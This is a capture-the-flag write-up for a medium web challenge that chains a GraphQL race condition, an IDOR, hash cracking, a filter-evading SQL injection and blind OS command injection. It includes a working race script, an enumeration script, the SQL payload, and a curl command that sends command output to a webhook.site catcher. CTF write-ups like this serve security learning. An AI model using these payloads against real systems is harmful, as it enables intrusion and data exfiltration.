# My friend doesn't like this ctf challenge

> Category: Web Exploitation&#x20;
>
> Difficulty: Medium&#x20;
>
> Points: 9999999999&#x20;
>
> Challenge Description: My friend doesn't like this ctf challenge.

{% stepper %}
{% step %}

### reconnaissance

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2F2efAyYFPjfrxOBcXjEmM%2Fimage.png?alt=media&#x26;token=12cf494c-6b5e-411b-80e6-45b7eb8cb142" alt=""><figcaption></figcaption></figure>

opening the challenge you will be greeted by a login page

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FV4hmzy51CDwhXX4nvSii%2Fimage.png?alt=media&#x26;token=fc2b2f34-6c27-463f-8fe2-bb2c63b04095" alt=""><figcaption></figcaption></figure>

after registering an account we can see that theres 3 pages Home, Ticket, Logout

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FDjE3v5tfQGIWxN5TNjYa%2Fimage.png?alt=media&#x26;token=85cc67b7-3b15-47b8-b269-d8f2ef9cce31" alt=""><figcaption></figcaption></figure>
{% endstep %}

{% step %}

### Solve

after seeing the post i quickly went to studying and i suspected that this could mean it is vulnerable to a race condition

```python
import asyncio
import aiohttp
async def send_like(session, url, headers, payload):
 async with session.post(url, json=payload, headers=headers) as response:
 return await response.json()
async def trigger_race_condition():
 url = "https://1948-180-242-69-201.ngrok-free.app/graphql"
 headers = {
 "Cookie":
"session=.eJwlzjsOwjAMANC7ZGaIHTtOepkq_gnWlk6Iu1OJCzy9T9nziPNZtvdxxaPs
Ly9bgWmOA1a6mKKhY13CK4CcOJdTEMFgVqoZfbQaIpNm05q1BhCEFK8ldVgcjd1YVPxmjwgDdv0XCjWjByCGRlphjAnJjcpd-Q64_hvevnAOXnL2g.Zz3DsA.Wv0Ads4bEzI5DjMnnzxGMfOSXbQ", # Replace with your
session cookie
 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0)
Gecko/20100101 Firefox/132.0",
 "Content-Type": "application/json"
 }
 payload = {
 "query": "mutation { createLike(postId: 8) { message success post { likes } } }"
 }
 num_requests = 100
 async with aiohttp.ClientSession() as session:
 tasks = [send_like(session, url, headers, payload) for _ in
range(num_requests)]
 responses = await asyncio.gather(*tasks)
 for response in responses:
 print(response)
```

the code above will spam the like button and after we execute the code we gained more than 15 likes!

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FsWbFe7wRa2Yo0pYTk4MU%2Fimage.png?alt=media&#x26;token=7195eacb-7472-4713-af66-1be4b141efb0" alt=""><figcaption></figcaption></figure>

we now have access to the beta page that seems to be a ticket to report to the staff in the website after playing around with the page i found out how the app was adding the tickets so i asked chat gpt

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2Fkd5gvyaJxJBNqyrvtCcl%2Fimage.png?alt=media&#x26;token=ee5f72fe-e31c-4ff9-a149-552b3d4fc156" alt=""><figcaption></figcaption></figure>

now we understand that the website uses graphql

> [https://hasura.io/learn/graphql/intro-graphql/graphqlqueries/#:\~:text=In%20GraphQL%2C%20you%20fetch%20data,specific%20data%20from%20the%20serv> \
> er.\&text=We%20ask%20the%20server%20for,and%20%22%20title%20%22%20a%20field.](https://hasura.io/learn/graphql/intro-graphql/graphqlqueries/)

after reading the page above we can now try to make a request to gain more data and possibly get an IDOR

i had an idea after thinking about idors i usually read and study stuff i found on linked in and this page reminded me some page that is misconfigured can actually give you data if the page doesnt recognize you let me explain

```python
import requests
url = "https://1948-180-242-69-201.ngrok-free.app/graphql"
headers = {
 'Content-Type': 'application/json',
 'Cookie': 'your_session_cookie'
}
# Loop through different post IDs to test for IDOR
for post_id in range(1, 11): # Change this range to test more posts
 query = {
 "query": f"{{ post(id: {post_id}) {{ id title content author {{ id username }} isPrivate }} }}"
 }
 response = requests.post(url, json=query, headers=headers)
 print(f"Response for id {post_id}: {response.json()}")
```

while usually you would give the app your cookies and stuff why dont you just delete them and try to request again if the server is misconfigured we could actually bypass that

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FqEIPcdtBY836M0gRmo1F%2Fimage.png?alt=media&#x26;token=d99cbe70-d72b-48fc-8869-3ad0b3da91e0" alt=""><figcaption></figcaption></figure>

and look what we found!

we actually got the hidden data and its saying something about a hidden directory called super\_hiddenDirectories2

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2F2pq1agO5cLvFy60FN466%2Fimage.png?alt=media&#x26;token=916332ed-4236-44d2-8606-b01180b67eda" alt=""><figcaption></figcaption></figure>

this is whats inside the hidden directories that seems to be a log file for the login page

after bruteforcing the hashes we only found 1 hash that works

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FZ0xB29k0CHE9i2IN0UZ0%2Fimage.png?alt=media&#x26;token=171c5205-3ebf-488c-9d1f-28d1b4f61416" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2F9vAW5rXDezDYdjfzGjB4%2Fimage.png?alt=media&#x26;token=ff17ae84-4d95-40e6-bc89-1a0f0156e057" alt=""><figcaption></figcaption></figure>

we now have the staff tag how cool was that?

and now we can actually see the hidden tickets after gaining a higher privilege

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FoZEj5c6hojBkJtp21kNW%2Fimage.png?alt=media&#x26;token=25e2723f-cf5e-4dbf-bdc7-99035363c699" alt=""><figcaption></figcaption></figure>

there was 2 interesting tickets one gave a link and the other was speaking about an endpoint called 2020-login-page

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FNjdmlGtdttHOvex7jNkN%2Fimage.png?alt=media&#x26;token=58938f15-8e3b-454e-8e89-cbf491e29097" alt=""><figcaption></figcaption></figure>

opening the link we dont need to talk about this

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2Fzh4SZ0yV7h7yqO7RLBKP%2Fimage.png?alt=media&#x26;token=b873ecc0-4f76-4909-a579-57533547695b" alt=""><figcaption></figcaption></figure>

this was the login page that were given when enumerating i noticed that

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2F7HE5pZpi00jzLOwLj6d6%2Fimage.png?alt=media&#x26;token=9b4ad7e7-ff0b-42e9-9b21-e462ec94d91e" alt=""><figcaption></figcaption></figure>

the page actually says admin login page thats when i know were getting very close to solving this!

I realised that every time i used “OR 1” or if i used “1=” or if i use “--” or if i use “/\*” i will get an error saying sql injection detected so i tried modifying my sqli attack using 5=5 so i tried giving a blank “5=5” and the server didnt give any error i tried “or 5” too and it didnt give any errors so from this we know that the server is just sanitizing the “OR 1=1” sql

```
Asep-Admin'or '5'='5
```

this was the payload that i created cause of the filters that the server used

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2Ft1jW7pIrYi2fuR8b9RrR%2Fimage.png?alt=media&#x26;token=86b55df4-71f2-46e6-9f71-3a07a9137cd0" alt=""><figcaption></figcaption></figure>

and we actually got the admin account!

i was stuck on this part for a bit of time until the kind author gave me a hint

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2Fa7FWySTABcs63qwSfh4t%2Fimage.png?alt=media&#x26;token=c82daf2b-2d68-4453-87a4-9ce4735247cf" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FrQrFdujJ2PUJPiHZs57P%2Fimage.png?alt=media&#x26;token=b04b164b-6ebe-42f5-8708-8c5de3bcb091" alt=""><figcaption></figcaption></figure>

when i give the query a parameter the server says it has a syntax error and when i use whoami it will say query executed thats when i know that this challenge is about OS command injection but i couldnt see the output of these commands i started grinding and studying about stuff

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FmfjlxHGu5sgM8FOWMcIr%2Fimage.png?alt=media&#x26;token=884f87c5-35f4-49d3-b460-60aebadd5622" alt=""><figcaption></figcaption></figure>

the kind author kindly gave me another hint about webhook thats where i understand it now (I UNDERSTAND IT NOW)

i was thinking about using curl to send the output of the command to a request catcher&#x20;

{% code overflow="wrap" %}

```
url/ ?query=curl -X POST -d "data=$(whoami)" https://webhook.site/3e20d15b-ac6f-4e6f-afb4-b80b93f72c4a
```

{% endcode %}

this is the payload that i use

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FrbFMpRqPEdLLZv4zk1n0%2Fimage.png?alt=media&#x26;token=1a8caed7-1e48-40fc-855c-b04379dc135d" alt=""><figcaption></figcaption></figure>

BINGO!

we actually captured the incoming request from the server

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2F5G1TbSVZWXlOwcVw0cHw%2Fimage.png?alt=media&#x26;token=691ff5bc-cd11-466f-91da-ba1b8f352f06" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FUrYXtdqVbTiOyTtFMi3X%2Fimage.png?alt=media&#x26;token=d4fb282f-4970-4839-a791-e8af70b214ad" alt=""><figcaption></figcaption></figure>

we got the flag&#x20;

{% code overflow="wrap" %}

```
FLAG{R4c3_Cond_Gr4phQL_IDOR_SQL1_Bl1nd_C0mmAND_1njeCT10N_Is_4_R3C1PE_F0R_D1s4st3r!!}
```

{% endcode %}

and solved the challenge!
{% endstep %}
{% endstepper %}
